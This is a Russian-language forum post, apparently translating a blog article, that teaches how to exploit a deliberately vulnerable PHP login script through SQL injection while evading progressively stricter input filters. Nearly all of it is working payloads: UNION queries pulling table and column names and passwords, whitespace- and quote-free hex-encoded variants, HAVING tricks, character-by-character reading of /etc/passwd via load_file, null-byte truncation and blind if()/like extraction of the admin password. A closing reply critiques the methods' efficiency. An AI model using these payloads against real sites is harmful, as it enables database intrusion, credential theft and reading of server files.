Приблизительный перевод вот этой интересной статьи: http://websec.wordpress.com/ Итак, рассмотрим следующий уязвимый php-скрипт: Code: <?php // тут соединение с БД $id = $_GET['id']; $pass = mysql_real_escape_string($_GET['pass']); $result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id AND pass = '$pass' "); if($data = @mysql_fetch_array($result)) echo "Welcome ${data['name']}"; ?> Примечание: на дисплей выводится только одно имя из результата запроса. Приступим. Как видно, параметр “id” подвержен SQL-инъекии. Проверяем: Code: 1) ?id=1 and 1=0-- - 2) ?id=1 and 1=1-- - На экран выведется имя из запроса в случае второго варианта. Также мы может посмотреть имена всех юзеров использую лимит: Code: ?id=1 or 1=1 LIMIT x,1-- Но имена пользователей для нас не так интересны, как их пароли. А чтобы узнать пароли, мы сначала должны узнать названия таблиц и колонок: Code: ?id=1 and 1=0 union select null,table_name,null from information_schema.tables limit 28,1-- ?id=1 and 1=0 union select null,column_name,null from information_schema.columns where table_name='foundtablename' LIMIT 0,1-- ?id=1 and 1=0 union select null,password,null from users limit 1,1-- в общем-то и все. Мы получили желаемое. Это классичесская ситуация. Теперь рассмотрим варианты, когда в дело вступают фильтры значения id. 1. Фильтруются пробелы, кавычки и слеши. т.е. в исходном коде вставили такую фильтрацию id: Code: if(preg_match('/\s/', $id)) exit('attack'); // no whitespaces if(preg_match('/[\'"]/', $id)) exit('attack'); // no quotes if(preg_match('/[\/\\\\]/', $id)) exit('attack'); // no slashes Как мы видели из вариантов раскрутки sql-инъекции в начале, там использовались и пробелы и кавычки. Сначала нам приходит в голову заменить пробелы на /*комментарии*/, но слеши, как видно, тоже фильтруются. Ну что же, поробуем обойтись вовсе без пробелов: Code: ?id=(1)and(1)=(0)union(select(null),table_name,(null)from(information_schema.tables)limit 28,1--) С виду вроде то, что надо, однако в конце все-таки присутствует пробел после limit. Но у нас есть функция group_concat(), которая поможет нам получение списка всех таблиц без использования limit. А т.к. длина полученного результат (имена всех таблиц, что влезут в group_concat() - ограничение 1024) , может получиться очень большой, мы можем получать результат частями, используя mid() или substring(): Code: ?id=(1)and(1)=(0)union(select(null),mid(group_concat(table_name),600,100),(null)from(information_schema.tables))# Для получения имен колонок и чтобы не использовать кавычки, захексим имя таблицы: Code: ?id=(1)and(1)=(0)union(select(null),group_concat(column_name),(null)from(information_schema.columns)where(table_name)=(0x7573657273))# В приципе всё - ни пробелов, ни слешей, ни кавычек мы не использовали и удачно обошли фильтр. 2. Фильтрация базовых словосочетаний, применяемых при sql-запросах Теперь в нашем исходнике вставили такой фильтр: Code: if(preg_match('/\s/', $id)) exit('attack'); // no whitespaces if(preg_match('/[\'"]/', $id)) exit('attack'); // no quotes if(preg_match('/[\/\\\\]/', $id)) exit('attack'); // no slashes if(preg_match('/(and|null|where|limit)/i', $id)) exit('attack'); // no sqli keywords Т.е. добавили фильтрацию на “and”, “null”, “where” and “limit” Проверяем, есть ли вообще sql-инъекция, но уже другим способом: Code: ?id=1# ?id=2-1# Результат одинаковый - скуля есть. Чтобы получить возможность влиять на sql-инъекцию и вызвать ошибку, подставим несуществующий id - 0, и, вспомнив про фильтр, сделаем такие запросы (предварительно узнав кол-во колонок, разумеется) без where и limit: Code: ?id=(0)union(select(0),group_concat(table_name),(0)from(information_schema.tables))# ?id=(0)union(select(0),group_concat(column_name),(0)from(information_schema.columns))# Таким образом мы сможем получить имена всех таблиц и колонок, как правильно использовать group_concat() для обхождения лимита в 1024 байта можно прочитать здесь. 3. Алтернатива WHERE. Как вариант можно использовать ORDER BY column_name DESC для получения имен таблиц, но не сработает, т.к. ORDER BY использует пробелы и так мы фильтр не обойдем. Посмотрим в сторону HAVING. Сначала посмотрим, какие базы доступны для просмотра: Code: ?id=(0)union(select(0),group_concat(schema_name),(0)from(information_schema.schemata))# Не забываем про ограничение в 1024 байта, посмотрим database() чтобы узнать имя текущей базы: Code: ?id=(0)union(select(0),database(),(0))# Допустим, что имя текущей БД “test”, что в хексе будет “0×74657374″ и попробуем получить все таблицы из базы “test” с помощью HAVING без использования WHERE: Code: ?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)))# Вспомним, что на экран нам выводится только один результат выполненного запроса и, для получения имени второй таблицы, мы можем воспользоваться такой конструкцией: Code: ?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)&&(table_name)!=(0x7573657273)))# Обратите внимание, мы использали && вместо AND, чтобы обойти фильтр. Получив имена всех таблиц, таким же способом мы получаем колонки: Code: ?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)))# ?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)&&(column_name)!=(0x6964)))# Единственный недостаток такого метода, что совместно с HAVING мы не можем использовать group_concat(), поэтому придется перебирать каждую запись. еще вариант (без использования "=" и "!=" - если фильтруются): Code: ?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)&&(NOT((column_name)like(0x6964)))))# 4. Усложняем фильтр. Code: if(preg_match('/\s/', $id)) exit('attack'); // no whitespaces if(preg_match('/[\'"]/', $id)) exit('attack'); // no quotes if(preg_match('/[\/\\\\]/', $id)) exit('attack'); // no slashes if(preg_match('/(and|or|null|where|limit)/i', $id)) exit('attack'); // no sqli keywords if(preg_match('/(union|select|from|having)/i', $id)) exit('attack'); // no sqli keywords Как видим, добавился фильтр на слова union|select|from|having. В таком случае мы можем лишь воспользоваться load_file() если у текущего юзера file_priv=Y и прочитать интересующий нас файл. Но мы не можем использовать load_file() при такой фильтрации обычным способом, т.к. мы не может использовать union select, поэтому у нас будет такая альтернатива: Сначала мы должны проверить, что мы можем прочитать файл. Load_file() вернет “null” если файл не может быть прочитан, но т.к. “null” фильтруется, мы можем использовать функцию coalesce() которая возврает первое not-null значение из списка: Code: ?id=(coalesce(length(load_file(0x2F6574632F706173737764)),1)) При удачном запросе вернется размер файла, который мы хотим прочитать, при неудачном - 1. Будем использовать оператор CASE для посимвольного чтения файла: Code: ?id=(case(mid(load_file(0x2F6574632F706173737764),$x,1))when($char)then(1)else(0)end) где $char - это sql хекс-значение символа файла в позиции $x Таким образом мы обойдем фильтр и сможем прочитать файл, если у нас есть соответствующие привелегии (file_priv=Y). 6. Фильтр практически на все. Добавим фильтр, что хекер не смог воспользоваться LOAD_FILE и также добавим в список SQL-комментарии: Code: if(preg_match('/\s/', $id)) exit('attack'); // no whitespaces if(preg_match('/[\'"]/', $id)) exit('attack'); // no quotes if(preg_match('/[\/\\\\]/', $id)) exit('attack'); // no slashes if(preg_match('/(and|or|null|not)/i', $id)) exit('attack'); // no sqli boolean keywords if(preg_match('/(union|select|from|where)/i', $id)) exit('attack'); // no sqli select keywords if(preg_match('/(group|order|having|limit)/i', $id)) exit('attack'); // no sqli select keywords if(preg_match('/(into|file|case)/i', $id)) exit('attack'); // no sqli operators if(preg_match('/(--|#|\/\*)/', $id)) exit('attack'); // no sqli comments SQL-инъекция по прежнему есть, но эксплуатировать её невозможно, с первого взгляда. Что же можно сделать в такой ситуации? Мы не можем использовать procedure analyse(), про который прочитать можно здесь, потому что он использует пробелы в своей конструкции, и мы не можем использовать трюк с ‘1′%’0′ Но выход есть. Первое, что мы должны помнить, это что мы уже находимся в SELECT запросе и мы можем попробовать добавить дополнительные условия в текущее WHERE. Единственная проблема в том, что мы можем получить доступ только к тем колонкам, которые участвуют в запросе, нам остается только узнать их имена. В нашем примере не трудно догадаться, какие у них имена, очень часто бывают такие {password, passwd, pass, pw, userpass} и т.д. Предположим, мы догадались, что колонка с паролем называется pass. Так как нам получить значение из pass? Обычный blind sql-запрос выглядел бы так: Code: ?id=(case when(mid(pass,1,1)='a') then 1 else 0 end) Если первый символ пароля ‘a’ (удачный запрос) - покажет 1, при неудачном - 0. Такой вариант сработает без дополнительных SELECT, т.к. в данном случае нам не требуется доступ к другим таблицам. Вспомним про фильтры. Чтобы обойти их, сделаем такой запрос: Code: ?id=1&&mid(pass,1,1)=(0x61);%00 Испольуем нуль-байт вместо стандартных коментариев (которые в списке фильтра) чтобы отсечь проверку на правильный пароль из оригинального sql-запроса. Таким образом мы можем шаг за шагом извлечь все символы пароля, правильность подобранного пароля в итоге потдвертдится выведенным на экран именем юзера. Также мы можем получить пароли всех юзеров по их id: Code: ?id=2&&mid(pass,1,1)=(0x61);%00 ?id=3&&mid(pass,1,1)=(0x61);%00 Конечно, получения пароля займет время, но если нам надо получить пароль админа и мы знаем, например, что его ник 'admin', но мы не знаем его id, то в обычной ситуации можно было сделать такой запрос: Code: ?id=(SELECT id FROM users WHERE name = 'admin') && mid(pass,1,1)=('a');%00 вспомнив про фильтры немного переделаем его: Code: ?id=1||1=1&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00 Но такой вариант не сработает, т.к. “OR 1=1″ в начале запроса имеет приоритет над последующими “AND”, поэтому мы будем всегда наблюдать пароль первого юзера из таблицы, поэтому мы принудительно сравним колонку id с колонкой id (т.е. саму с собой), чтобы осуществить нашу проверку на логин/пароль независимо от id: Code: ?id=id&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00 Если символ пароля будет угадан верно, то мы увидим “Hello admin”, при неправильном запросе мы не увидим ничего. Таким образом мы опять обошли все фильтры. 6. Фильтр практически на все и еще больше. Добавим в фильтр “=”, “|” and “&”: Code: if(preg_match('/\s/', $id)) exit('attack'); // no whitespaces if(preg_match('/[\'"]/', $id)) exit('attack'); // no quotes if(preg_match('/[\/\\\\]/', $id)) exit('attack'); // no slashes if(preg_match('/(and|or|null|not)/i', $id)) exit('attack'); // no sqli boolean keywords if(preg_match('/(union|select|from|where)/i', $id)) exit('attack'); // no sqli select keywords if(preg_match('/(group|order|having|limit)/i', $id)) exit('attack'); // no sqli select keywords if(preg_match('/(into|file|case)/i', $id)) exit('attack'); // no sqli operators if(preg_match('/(--|#|\/\*)/', $id)) exit('attack'); // no sqli comments if(preg_match('/(=|&|\|)/', $id)) exit('attack'); // no boolean operators Т.к. "=" фильтруется, мы можем использовать “like” или “regexp” и т.д.: Code: ?id=id&&(name)like(0x61646D696E)&&(mid(pass,1,1))like(0x61);%00 Как видим, символ “|” не используется. Но что же делать с “&”? Сможем ли мы получить результат без использования логических операторов? Сможем, используя функцию if(). Сначала попробуем узнать id, которому соответствует name = ‘admin’: Code: ?id=if((name)like(0x61646D696E),1,0);%00 В случае удачи вернет 1, если неправильно - 0. Теперь, чтобы узнать id админа, поставим именно id вместо 1 в нашем запросе: Code: ?id=if((name)like(0x61646D696E),id,0);%00 Ну а теперь, что получить пароль админа, у нас будет такой запрос (с комментариями): Code: ?id= if( // if (it gets true if the name='admin') if((name)like(0x61646D696E),1,0), // then (if first password char='a' return admin id, else 0) if(mid((password),1,1)like(0x61),id,0), // else (return 0) 0 );%00 Что в одну строчку будет выглядеть так: Code: ?id=if(if((name)like(0x61646D696E),1,0),if(mid((password),1,1)like(0x61),id,0),0);%00 Если символ пароля будет угадан правильно, то мы увидим “Hello admin”, иначе мы не увидим ничего(id=0). Конец.
В принципе неплохо, но в некоторых условиях фильтрации откровенно изобретён велосипед и вывернуто через попу. Да и дихотомический поиск хорош только в том случае, если основной запрос представляет выборку вкусных для нас данных, что полный бред в 99% случаев, я думаю на% не кому не нужна информация из таблицы с новостным контентом, так что способ лишь наглядно демонстрирует возможность этой самой инъекции, а не её эффективность техники! Да и потом в примерах с дихотомическим поиском, всё можно сделать намного проще по аналогии с 3-ей веткой.